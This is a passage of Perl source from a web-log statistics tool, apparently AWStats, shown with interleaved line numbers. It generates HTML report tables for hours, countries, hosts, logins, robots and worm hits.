                                                  "</td>";
17426
 
                                        }
17427
 
                                        if ( $ShowHoursStats =~ /B/i ) {
17428
 
                                                print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
17429
 
                                                  "</td>";
17430
 
                                        }
17431
 
                                        print "</tr>\n";
17432
 
                                }
17433
 
                                print "</table>\n";
17434
 
 
17435
 
                                print "</center></td>";
17436
 
                                print "<td width=\"10\">&nbsp;</td>";
17437
 
                                print "<td align=\"center\"><center>\n";
17438
 
 
17439
 
                                print "<table>\n";
17440
 
                                print
17441
 
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
17442
 
                                if ( $ShowHoursStats =~ /P/i ) {
17443
 
                                        print "<td width=\"80\" bgcolor=\"#$color_p\""
17444
 
                                          . Tooltip(3)
17445
 
                                          . ">$Message[56]</td>";
17446
 
                                }
17447
 
                                if ( $ShowHoursStats =~ /H/i ) {
17448
 
                                        print "<td width=\"80\" bgcolor=\"#$color_h\""
17449
 
                                          . Tooltip(4)
17450
 
                                          . ">$Message[57]</td>";
17451
 
                                }
17452
 
                                if ( $ShowHoursStats =~ /B/i ) {
17453
 
                                        print "<td width=\"80\" bgcolor=\"#$color_k\""
17454
 
                                          . Tooltip(5)
17455
 
                                          . ">$Message[75]</td>";
17456
 
                                }
17457
 
                                print "</tr>\n";
17458
 
                                for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) {
17459
 
                                        my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
17460
 
                                        print "<tr>";
17461
 
                                        print "<td>$monthix</td>";
17462
 
                                        if ( $ShowHoursStats =~ /P/i ) {
17463
 
                                                print "<td>",
17464
 
                                                  $_time_p[$monthix] ? $_time_p[$monthix] : "0",
17465
 
                                                  "</td>";
17466
 
                                        }
17467
 
                                        if ( $ShowHoursStats =~ /H/i ) {
17468
 
                                                print "<td>",
17469
 
                                                  $_time_h[$monthix] ? $_time_h[$monthix] : "0",
17470
 
                                                  "</td>";
17471
 
                                        }
17472
 
                                        if ( $ShowHoursStats =~ /B/i ) {
17473
 
                                                print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
17474
 
                                                  "</td>";
17475
 
                                        }
17476
 
                                        print "</tr>\n";
17477
 
                                }
17478
 
                                print "</table>\n";
17479
 
 
17480
 
                                print "</center></td></tr></table>\n";
17481
 
                                print "<br />\n";
17482
 
                        }
17483
 
 
17484
 
                        print "</center></td></tr>\n";
17485
 
                        &tab_end();
17486
 
                }
17487
 
 
17488
 
                print "\n<a name=\"who\">&nbsp;</a>\n\n";
17489
 
 
17490
 
                # BY COUNTRY/DOMAIN
17491
 
                #---------------------------
17492
 
                if ($ShowDomainsStats) {
17493
 
                        if ($Debug) { debug( "ShowDomainsStats", 2 ); }
17494
 
                        print "$Center<a name=\"countries\">&nbsp;</a><br />\n";
17495
 
                        my $title =
17496
 
"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) &nbsp; - &nbsp; <a href=\""
17497
 
                          . (
17498
 
                                $ENV{'GATEWAY_INTERFACE'}
17499
 
                                  || !$StaticLinks
17500
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=alldomains")
17501
 
                                : "$PROG$StaticLinks.alldomains.$StaticExt"
17502
 
                          )
17503
 
                          . "\"$NewLinkTarget>$Message[80]</a>";
17504
 
                        &tab_head( "$title", 19, 0, 'countries' );
17505
 
                        print
17506
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th colspan=\"2\">$Message[17]</th>";
17507
 
 
17508
 
                        ## to add unique visitors and number of visits by calculation of average of the relation with total
17509
 
                        ## pages and total hits, and total visits and total unique
17510
 
                        ## by Josep Ruano @ CAPSiDE
17511
 
                        if ( $ShowDomainsStats =~ /U/i ) {
17512
 
                                print "<th bgcolor=\"#$color_u\" width=\"80\""
17513
 
                                  . Tooltip(2)
17514
 
                                  . ">$Message[11]</th>";
17515
 
                        }
17516
 
                        if ( $ShowDomainsStats =~ /V/i ) {
17517
 
                                print "<th bgcolor=\"#$color_v\" width=\"80\""
17518
 
                                  . Tooltip(1)
17519
 
                                  . ">$Message[10]</th>";
17520
 
                        }
17521
 
                        if ( $ShowDomainsStats =~ /P/i ) {
17522
 
                                print "<th bgcolor=\"#$color_p\" width=\"80\""
17523
 
                                  . Tooltip(3)
17524
 
                                  . ">$Message[56]</th>";
17525
 
                        }
17526
 
                        if ( $ShowDomainsStats =~ /H/i ) {
17527
 
                                print "<th bgcolor=\"#$color_h\" width=\"80\""
17528
 
                                  . Tooltip(4)
17529
 
                                  . ">$Message[57]</th>";
17530
 
                        }
17531
 
                        if ( $ShowDomainsStats =~ /B/i ) {
17532
 
                                print "<th bgcolor=\"#$color_k\" width=\"80\""
17533
 
                                  . Tooltip(5)
17534
 
                                  . ">$Message[75]</th>";
17535
 
                        }
17536
 
                        print "<th>&nbsp;</th>";
17537
 
                        print "</tr>\n";
17538
 
                        $total_u = $total_v = $total_p = $total_h = $total_k = 0;
17539
 
                        $max_h = 1;
17540
 
                        foreach ( values %_domener_h ) {
17541
 
                                if ( $_ > $max_h ) { $max_h = $_; }
17542
 
                        }
17543
 
                        $max_k = 1;
17544
 
                        foreach ( values %_domener_k ) {
17545
 
                                if ( $_ > $max_k ) { $max_k = $_; }
17546
 
                        }
17547
 
                        my $count = 0;
17548
 
                        &BuildKeyList(
17549
 
                                $MaxNbOf{'Domain'}, $MinHit{'Domain'},
17550
 
                                \%_domener_h,       \%_domener_p
17551
 
                        );
17552
 
                        foreach my $key (@keylist) {
17553
 
                                my ( $_domener_u, $_domener_v );
17554
 
                                my $bredde_p = 0;
17555
 
                                my $bredde_h = 0;
17556
 
                                my $bredde_k = 0;
17557
 
                                my $bredde_u = 0;
17558
 
                                my $bredde_v = 0;
17559
 
                                if ( $max_h > 0 ) {
17560
 
                                        $bredde_p =
17561
 
                                          int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
17562
 
                                }    # use max_h to enable to compare pages with hits
17563
 
                                if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
17564
 
                                if ( $max_h > 0 ) {
17565
 
                                        $bredde_h =
17566
 
                                          int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
17567
 
                                }
17568
 
                                if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
17569
 
                                if ( $max_k > 0 ) {
17570
 
                                        $bredde_k =
17571
 
                                          int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
17572
 
                                          1;
17573
 
                                }
17574
 
                                if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
17575
 
                                my $newkey = lc($key);
17576
 
                                if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
17577
 
                                        print
17578
 
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
17579
 
                                          . AltTitle("$Message[0]")
17580
 
                                          . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
17581
 
                                }
17582
 
                                else {
17583
 
                                        print
17584
 
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
17585
 
                                          . AltTitle("$newkey")
17586
 
                                          . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
17587
 
                                }
17588
 
                                ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
17589
 
                                if ( $ShowDomainsStats =~ /U/i ) {
17590
 
                                        $_domener_u = (
17591
 
                                                  $_domener_p{$key}
17592
 
                                                ? $_domener_p{$key} / $TotalPages
17593
 
                                                : 0
17594
 
                                        );
17595
 
                                        $_domener_u += ( $_domener_h{$key} / $TotalHits );
17596
 
                                        $_domener_u =
17597
 
                                          sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
17598
 
                                        print "<td>$_domener_u ("
17599
 
                                          . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
17600
 
                                          . ")</td>";
17601
 
                                }
17602
 
                                if ( $ShowDomainsStats =~ /V/i ) {
17603
 
                                        $_domener_v = (
17604
 
                                                  $_domener_p{$key}
17605
 
                                                ? $_domener_p{$key} / $TotalPages
17606
 
                                                : 0
17607
 
                                        );
17608
 
                                        $_domener_v += ( $_domener_h{$key} / $TotalHits );
17609
 
                                        $_domener_v =
17610
 
                                          sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
17611
 
                                        print "<td>$_domener_v ("
17612
 
                                          . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
17613
 
                                          . ")</td>";
17614
 
                                }
17615
 
 
17616
 
                                if ( $ShowDomainsStats =~ /P/i ) {
17617
 
                                        print "<td>"
17618
 
                                          . ( $_domener_p{$key} ? $_domener_p{$key} : '&nbsp;' )
17619
 
                                          . "</td>";
17620
 
                                }
17621
 
                                if ( $ShowDomainsStats =~ /H/i ) {
17622
 
                                        print "<td>$_domener_h{$key}</td>";
17623
 
                                }
17624
 
                                if ( $ShowDomainsStats =~ /B/i ) {
17625
 
                                        print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
17626
 
                                }
17627
 
                                print "<td class=\"aws\">";
17628
 
 
17629
 
                                if ( $ShowDomainsStats =~ /P/i ) {
17630
 
                                        print
17631
 
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
17632
 
                                          . AltTitle("")
17633
 
                                          . " /><br />\n";
17634
 
                                }
17635
 
                                if ( $ShowDomainsStats =~ /H/i ) {
17636
 
                                        print
17637
 
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
17638
 
                                          . AltTitle("")
17639
 
                                          . " /><br />\n";
17640
 
                                }
17641
 
                                if ( $ShowDomainsStats =~ /B/i ) {
17642
 
                                        print
17643
 
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
17644
 
                                          . AltTitle("") . " />";
17645
 
                                }
17646
 
                                print "</td>";
17647
 
                                print "</tr>\n";
17648
 
 
17649
 
                                $total_u += $_domener_u;
17650
 
                                $total_v += $_domener_v;
17651
 
                                $total_p += $_domener_p{$key};
17652
 
                                $total_h += $_domener_h{$key};
17653
 
                                $total_k += $_domener_k{$key} || 0;
17654
 
                                $count++;
17655
 
                        }
17656
 
                        my $rest_u = $TotalUnique - $total_u;
17657
 
                        my $rest_v = $TotalVisits - $total_v;
17658
 
                        $rest_p = $TotalPages - $total_p;
17659
 
                        $rest_h = $TotalHits - $total_h;
17660
 
                        $rest_k = $TotalBytes - $total_k;
17661
 
                        if (   $rest_u > 0
17662
 
                                || $rest_v > 0
17663
 
                                || $rest_p > 0
17664
 
                                || $rest_h > 0
17665
 
                                || $rest_k > 0 )
17666
 
                        {    # All other domains (known or not)
17667
 
                                print
17668
 
"<tr><td width=\"$WIDTHCOLICON\">&nbsp;</td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
17669
 
                                if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
17670
 
                                if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
17671
 
                                if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
17672
 
                                if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
17673
 
                                if ( $ShowDomainsStats =~ /B/i ) {
17674
 
                                        print "<td>" . Format_Bytes($rest_k) . "</td>";
17675
 
                                }
17676
 
                                print "<td class=\"aws\">&nbsp;</td>";
17677
 
                                print "</tr>\n";
17678
 
                        }
17679
 
                        &tab_end();
17680
 
                }
17681
 
 
17682
 
                # BY HOST/VISITOR
17683
 
                #--------------------------
17684
 
                if ($ShowHostsStats) {
17685
 
                        if ($Debug) { debug( "ShowHostsStats", 2 ); }
17686
 
                        print "$Center<a name=\"visitors\">&nbsp;</a><br />\n";
17687
 
                        my $title =
17688
 
"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) &nbsp; - &nbsp; <a href=\""
17689
 
                          . (
17690
 
                                $ENV{'GATEWAY_INTERFACE'}
17691
 
                                  || !$StaticLinks
17692
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=allhosts")
17693
 
                                : "$PROG$StaticLinks.allhosts.$StaticExt"
17694
 
                          )
17695
 
                          . "\"$NewLinkTarget>$Message[80]</a> &nbsp; - &nbsp; <a href=\""
17696
 
                          . (
17697
 
                                $ENV{'GATEWAY_INTERFACE'}
17698
 
                                  || !$StaticLinks
17699
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=lasthosts")
17700
 
                                : "$PROG$StaticLinks.lasthosts.$StaticExt"
17701
 
                          )
17702
 
                          . "\"$NewLinkTarget>$Message[9]</a> &nbsp; - &nbsp; <a href=\""
17703
 
                          . (
17704
 
                                $ENV{'GATEWAY_INTERFACE'}
17705
 
                                  || !$StaticLinks
17706
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=unknownip")
17707
 
                                : "$PROG$StaticLinks.unknownip.$StaticExt"
17708
 
                          )
17709
 
                          . "\"$NewLinkTarget>$Message[45]</a>";
17710
 
                        &tab_head( "$title", 19, 0, 'visitors' );
17711
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
17712
 
                        print "<th>";
17713
 
                        if ( $MonthRequired ne 'all' ) {
17714
 
                                print
17715
 
"$Message[81] : $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1]<br />$TotalUnique $Message[11]</th>";
17716
 
                        }
17717
 
                        else {
17718
 
                                print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>";
17719
 
                        }
17720
 
                        &ShowHostInfo('__title__');
17721
 
                        if ( $ShowHostsStats =~ /P/i ) {
17722
 
                                print "<th bgcolor=\"#$color_p\" width=\"80\""
17723
 
                                  . Tooltip(3)
17724
 
                                  . ">$Message[56]</th>";
17725
 
                        }
17726
 
                        if ( $ShowHostsStats =~ /H/i ) {
17727
 
                                print "<th bgcolor=\"#$color_h\" width=\"80\""
17728
 
                                  . Tooltip(4)
17729
 
                                  . ">$Message[57]</th>";
17730
 
                        }
17731
 
                        if ( $ShowHostsStats =~ /B/i ) {
17732
 
                                print "<th bgcolor=\"#$color_k\" width=\"80\""
17733
 
                                  . Tooltip(5)
17734
 
                                  . ">$Message[75]</th>";
17735
 
                        }
17736
 
                        if ( $ShowHostsStats =~ /L/i ) {
17737
 
                                print "<th width=\"120\">$Message[9]</th>";
17738
 
                        }
17739
 
                        print "</tr>\n";
17740
 
                        $total_p = $total_h = $total_k = 0;
17741
 
                        my $count = 0;
17742
 
                        &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
17743
 
                                \%_host_p );
17744
 
                        foreach my $key (@keylist) {
17745
 
                                print "<tr>";
17746
 
                                print "<td class=\"aws\">$key</td>";
17747
 
                                &ShowHostInfo($key);
17748
 
                                if ( $ShowHostsStats =~ /P/i ) {
17749
 
                                        print '<td>' . ( $_host_p{$key} || "&nbsp;" ) . '</td>';
17750
 
                                }
17751
 
                                if ( $ShowHostsStats =~ /H/i ) {
17752
 
                                        print "<td>$_host_h{$key}</td>";
17753
 
                                }
17754
 
                                if ( $ShowHostsStats =~ /B/i ) {
17755
 
                                        print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>';
17756
 
                                }
17757
 
                                if ( $ShowHostsStats =~ /L/i ) {
17758
 
                                        print '<td nowrap="nowrap">'
17759
 
                                          . (
17760
 
                                                $_host_l{$key}
17761
 
                                                ? Format_Date( $_host_l{$key}, 1 )
17762
 
                                                : '-'
17763
 
                                          )
17764
 
                                          . '</td>';
17765
 
                                }
17766
 
                                print "</tr>\n";
17767
 
                                $total_p += $_host_p{$key};
17768
 
                                $total_h += $_host_h{$key};
17769
 
                                $total_k += $_host_k{$key} || 0;
17770
 
                                $count++;
17771
 
                        }
17772
 
                        $rest_p = $TotalPages - $total_p;
17773
 
                        $rest_h = $TotalHits - $total_h;
17774
 
                        $rest_k = $TotalBytes - $total_k;
17775
 
                        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
17776
 
                        {    # All other visitors (known or not)
17777
 
                                print "<tr>";
17778
 
                                print
17779
 
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
17780
 
                                &ShowHostInfo('');
17781
 
                                if ( $ShowHostsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
17782
 
                                if ( $ShowHostsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
17783
 
                                if ( $ShowHostsStats =~ /B/i ) {
17784
 
                                        print "<td>" . Format_Bytes($rest_k) . "</td>";
17785
 
                                }
17786
 
                                if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
17787
 
                                print "</tr>\n";
17788
 
                        }
17789
 
                        &tab_end();
17790
 
                }
17791
 
 
17792
 
                # BY SENDER EMAIL
17793
 
                #----------------------------
17794
 
                if ($ShowEMailSenders) {
17795
 
                        &ShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
17796
 
                }
17797
 
 
17798
 
                # BY RECEIVER EMAIL
17799
 
                #----------------------------
17800
 
                if ($ShowEMailReceivers) {
17801
 
                        &ShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
17802
 
                }
17803
 
 
17804
 
                # BY LOGIN
17805
 
                #----------------------------
17806
 
                if ($ShowAuthenticatedUsers) {
17807
 
                        if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); }
17808
 
                        print "$Center<a name=\"logins\">&nbsp;</a><br />\n";
17809
 
                        my $title =
17810
 
"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) &nbsp; - &nbsp; <a href=\""
17811
 
                          . (
17812
 
                                $ENV{'GATEWAY_INTERFACE'}
17813
 
                                  || !$StaticLinks
17814
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=alllogins")
17815
 
                                : "$PROG$StaticLinks.alllogins.$StaticExt"
17816
 
                          )
17817
 
                          . "\"$NewLinkTarget>$Message[80]</a>";
17818
 
                        if ( $ShowAuthenticatedUsers =~ /L/i ) {
17819
 
                                $title .= " &nbsp; - &nbsp; <a href=\""
17820
 
                                  . (
17821
 
                                        $ENV{'GATEWAY_INTERFACE'}
17822
 
                                          || !$StaticLinks
17823
 
                                        ? XMLEncode("$AWScript?${NewLinkParams}output=lastlogins")
17824
 
                                        : "$PROG$StaticLinks.lastlogins.$StaticExt"
17825
 
                                  )
17826
 
                                  . "\"$NewLinkTarget>$Message[9]</a>";
17827
 
                        }
17828
 
                        &tab_head( "$title", 19, 0, 'logins' );
17829
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
17830
 
                          . ( scalar keys %_login_h ) . "</th>";
17831
 
                        &ShowUserInfo('__title__');
17832
 
                        if ( $ShowAuthenticatedUsers =~ /P/i ) {
17833
 
                                print "<th bgcolor=\"#$color_p\" width=\"80\""
17834
 
                                  . Tooltip(3)
17835
 
                                  . ">$Message[56]</th>";
17836
 
                        }
17837
 
                        if ( $ShowAuthenticatedUsers =~ /H/i ) {
17838
 
                                print "<th bgcolor=\"#$color_h\" width=\"80\""
17839
 
                                  . Tooltip(4)
17840
 
                                  . ">$Message[57]</th>";
17841
 
                        }
17842
 
                        if ( $ShowAuthenticatedUsers =~ /B/i ) {
17843
 
                                print "<th bgcolor=\"#$color_k\" width=\"80\""
17844
 
                                  . Tooltip(5)
17845
 
                                  . ">$Message[75]</th>";
17846
 
                        }
17847
 
                        if ( $ShowAuthenticatedUsers =~ /L/i ) {
17848
 
                                print "<th width=\"120\">$Message[9]</th>";
17849
 
                        }
17850
 
                        print "</tr>\n";
17851
 
                        $total_p = $total_h = $total_k = 0;
17852
 
                        $max_h = 1;
17853
 
                        foreach ( values %_login_h ) {
17854
 
                                if ( $_ > $max_h ) { $max_h = $_; }
17855
 
                        }
17856
 
                        $max_k = 1;
17857
 
                        foreach ( values %_login_k ) {
17858
 
                                if ( $_ > $max_k ) { $max_k = $_; }
17859
 
                        }
17860
 
                        my $count = 0;
17861
 
                        &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
17862
 
                                \%_login_p );
17863
 
                        foreach my $key (@keylist) {
17864
 
                                my $bredde_p = 0;
17865
 
                                my $bredde_h = 0;
17866
 
                                my $bredde_k = 0;
17867
 
                                if ( $max_h > 0 ) {
17868
 
                                        $bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1;
17869
 
                                }    # use max_h to enable to compare pages with hits
17870
 
                                if ( $max_h > 0 ) {
17871
 
                                        $bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1;
17872
 
                                }
17873
 
                                if ( $max_k > 0 ) {
17874
 
                                        $bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1;
17875
 
                                }
17876
 
                                print "<tr><td class=\"aws\">$key</td>";
17877
 
                                &ShowUserInfo($key);
17878
 
                                if ( $ShowAuthenticatedUsers =~ /P/i ) {
17879
 
                                        print "<td>"
17880
 
                                          . ( $_login_p{$key} ? $_login_p{$key} : "&nbsp;" )
17881
 
                                          . "</td>";
17882
 
                                }
17883
 
                                if ( $ShowAuthenticatedUsers =~ /H/i ) {
17884
 
                                        print "<td>$_login_h{$key}</td>";
17885
 
                                }
17886
 
                                if ( $ShowAuthenticatedUsers =~ /B/i ) {
17887
 
                                        print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
17888
 
                                }
17889
 
                                if ( $ShowAuthenticatedUsers =~ /L/i ) {
17890
 
                                        print "<td>"
17891
 
                                          . (
17892
 
                                                $_login_l{$key}
17893
 
                                                ? Format_Date( $_login_l{$key}, 1 )
17894
 
                                                : '-'
17895
 
                                          )
17896
 
                                          . "</td>";
17897
 
                                }
17898
 
                                print "</tr>\n";
17899
 
                                $total_p += $_login_p{$key};
17900
 
                                $total_h += $_login_h{$key};
17901
 
                                $total_k += $_login_k{$key};
17902
 
                                $count++;
17903
 
                        }
17904
 
                        $rest_p = $TotalPages - $total_p;
17905
 
                        $rest_h = $TotalHits - $total_h;
17906
 
                        $rest_k = $TotalBytes - $total_k;
17907
 
                        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
17908
 
                        {    # All other logins
17909
 
                                print
17910
 
                                  "<tr><td class=\"aws\"><span style=\"color: #$color_other\">"
17911
 
                                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
17912
 
                                  . "$Message[125]"
17913
 
                                  . ( $PageDir eq 'rtl' ? "</span>" : "" )
17914
 
                                  . "</span></td>";
17915
 
                                &ShowUserInfo('');
17916
 
                                if ( $ShowAuthenticatedUsers =~ /P/i ) {
17917
 
                                        print "<td>" . ( $rest_p ? $rest_p : "&nbsp;" ) . "</td>";
17918
 
                                }
17919
 
                                if ( $ShowAuthenticatedUsers =~ /H/i ) {
17920
 
                                        print "<td>$rest_h</td>";
17921
 
                                }
17922
 
                                if ( $ShowAuthenticatedUsers =~ /B/i ) {
17923
 
                                        print "<td>" . Format_Bytes($rest_k) . "</td>";
17924
 
                                }
17925
 
                                if ( $ShowAuthenticatedUsers =~ /L/i ) {
17926
 
                                        print "<td>&nbsp;</td>";
17927
 
                                }
17928
 
                                print "</tr>\n";
17929
 
                        }
17930
 
                        &tab_end();
17931
 
                }
17932
 
 
17933
 
                # BY ROBOTS
17934
 
                #----------------------------
17935
 
                if ($ShowRobotsStats) {
17936
 
                        if ($Debug) { debug( "ShowRobotStats", 2 ); }
17937
 
                        print "$Center<a name=\"robots\">&nbsp;</a><br />\n";
17938
 
                        &tab_head(
17939
 
"$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) &nbsp; - &nbsp; <a href=\""
17940
 
                                  . (
17941
 
                                        $ENV{'GATEWAY_INTERFACE'}
17942
 
                                          || !$StaticLinks
17943
 
                                        ? XMLEncode("$AWScript?${NewLinkParams}output=allrobots")
17944
 
                                        : "$PROG$StaticLinks.allrobots.$StaticExt"
17945
 
                                  )
17946
 
                                  . "\"$NewLinkTarget>$Message[80]</a> &nbsp; - &nbsp; <a href=\""
17947
 
                                  . (
17948
 
                                        $ENV{'GATEWAY_INTERFACE'}
17949
 
                                          || !$StaticLinks
17950
 
                                        ? XMLEncode("$AWScript?${NewLinkParams}output=lastrobots")
17951
 
                                        : "$PROG$StaticLinks.lastrobots.$StaticExt"
17952
 
                                  )
17953
 
                                  . "\"$NewLinkTarget>$Message[9]</a>",
17954
 
                                19, 0, 'robots'
17955
 
                        );
17956
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
17957
 
                          . Tooltip(16) . "><th>"
17958
 
                          . ( scalar keys %_robot_h )
17959
 
                          . " $Message[51]*</th>";
17960
 
                        if ( $ShowRobotsStats =~ /H/i ) {
17961
 
                                print
17962
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
17963
 
                        }
17964
 
                        if ( $ShowRobotsStats =~ /B/i ) {
17965
 
                                print
17966
 
                                  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
17967
 
                        }
17968
 
                        if ( $ShowRobotsStats =~ /L/i ) {
17969
 
                                print "<th width=\"120\">$Message[9]</th>";
17970
 
                        }
17971
 
                        print "</tr>\n";
17972
 
                        $total_p = $total_h = $total_k = $total_r = 0;
17973
 
                        my $count = 0;
17974
 
                        &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
17975
 
                                \%_robot_h );
17976
 
                        foreach my $key (@keylist) {
17977
 
                                print "<tr><td class=\"aws\">"
17978
 
                                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
17979
 
                                  . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
17980
 
                                  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
17981
 
                                if ( $ShowRobotsStats =~ /H/i ) {
17982
 
                                        print "<td>"
17983
 
                                          . ( $_robot_h{$key} - $_robot_r{$key} )
17984
 
                                          . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
17985
 
                                }
17986
 
                                if ( $ShowRobotsStats =~ /B/i ) {
17987
 
                                        print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
17988
 
                                }
17989
 
                                if ( $ShowRobotsStats =~ /L/i ) {
17990
 
                                        print "<td>"
17991
 
                                          . (
17992
 
                                                $_robot_l{$key}
17993
 
                                                ? Format_Date( $_robot_l{$key}, 1 )
17994
 
                                                : '-'
17995
 
                                          )
17996
 
                                          . "</td>";
17997
 
                                }
17998
 
                                print "</tr>\n";
17999
 
 
18000
 
                                #$total_p += $_robot_p{$key};
18001
 
                                $total_h += $_robot_h{$key};
18002
 
                                $total_k += $_robot_k{$key} || 0;
18003
 
                                $total_r += $_robot_r{$key} || 0;
18004
 
                                $count++;
18005
 
                        }
18006
 
 
18007
 
                        # For bots we need to count Totals
18008
 
                        my $TotalPagesRobots =
18009
 
                          0;    #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
18010
 
                        my $TotalHitsRobots = 0;
18011
 
                        foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
18012
 
                        my $TotalBytesRobots = 0;
18013
 
                        foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
18014
 
                        my $TotalRRobots = 0;
18015
 
                        foreach ( values %_robot_r ) { $TotalRRobots += $_; }
18016
 
                        $rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
18017
 
                        $rest_h = $TotalHitsRobots - $total_h;
18018
 
                        $rest_k = $TotalBytesRobots - $total_k;
18019
 
                        $rest_r = $TotalRRobots - $total_r;
18020
 
 
18021
 
                        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
18022
 
                        {               # All other robots
18023
 
                                print
18024
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
18025
 
                                if ( $ShowRobotsStats =~ /H/i ) {
18026
 
                                        print "<td>"
18027
 
                                          . ( $rest_h - $rest_r )
18028
 
                                          . ( $rest_r ? "+$rest_r" : "" ) . "</td>";
18029
 
                                }
18030
 
                                if ( $ShowRobotsStats =~ /B/i ) {
18031
 
                                        print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
18032
 
                                }
18033
 
                                if ( $ShowRobotsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
18034
 
                                print "</tr>\n";
18035
 
                        }
18036
 
                        &tab_end(
18037
 
                                "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
18038
 
                }
18039
 
 
18040
 
                # BY WORMS
18041
 
                #----------------------------
18042
 
                if ($ShowWormsStats) {
18043
 
                        if ($Debug) { debug( "ShowWormsStats", 2 ); }
18044
 
                        print "$Center<a name=\"worms\">&nbsp;</a><br />\n";
18045
 
                        &tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})",
18046
 
                                19, 0, 'worms' );
18047
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">";
18048
 
                        print "<th>" . ( scalar keys %_worm_h ) . " $Message[164]*</th>";
18049
 
                        print "<th>$Message[167]</th>";
18050
 
                        if ( $ShowWormsStats =~ /H/i ) {
18051
 
                                print
18052
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
18053
 
                        }
18054
 
                        if ( $ShowWormsStats =~ /B/i ) {
18055
 
                                print
18056
 
                                  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
18057
 
                        }
18058
 
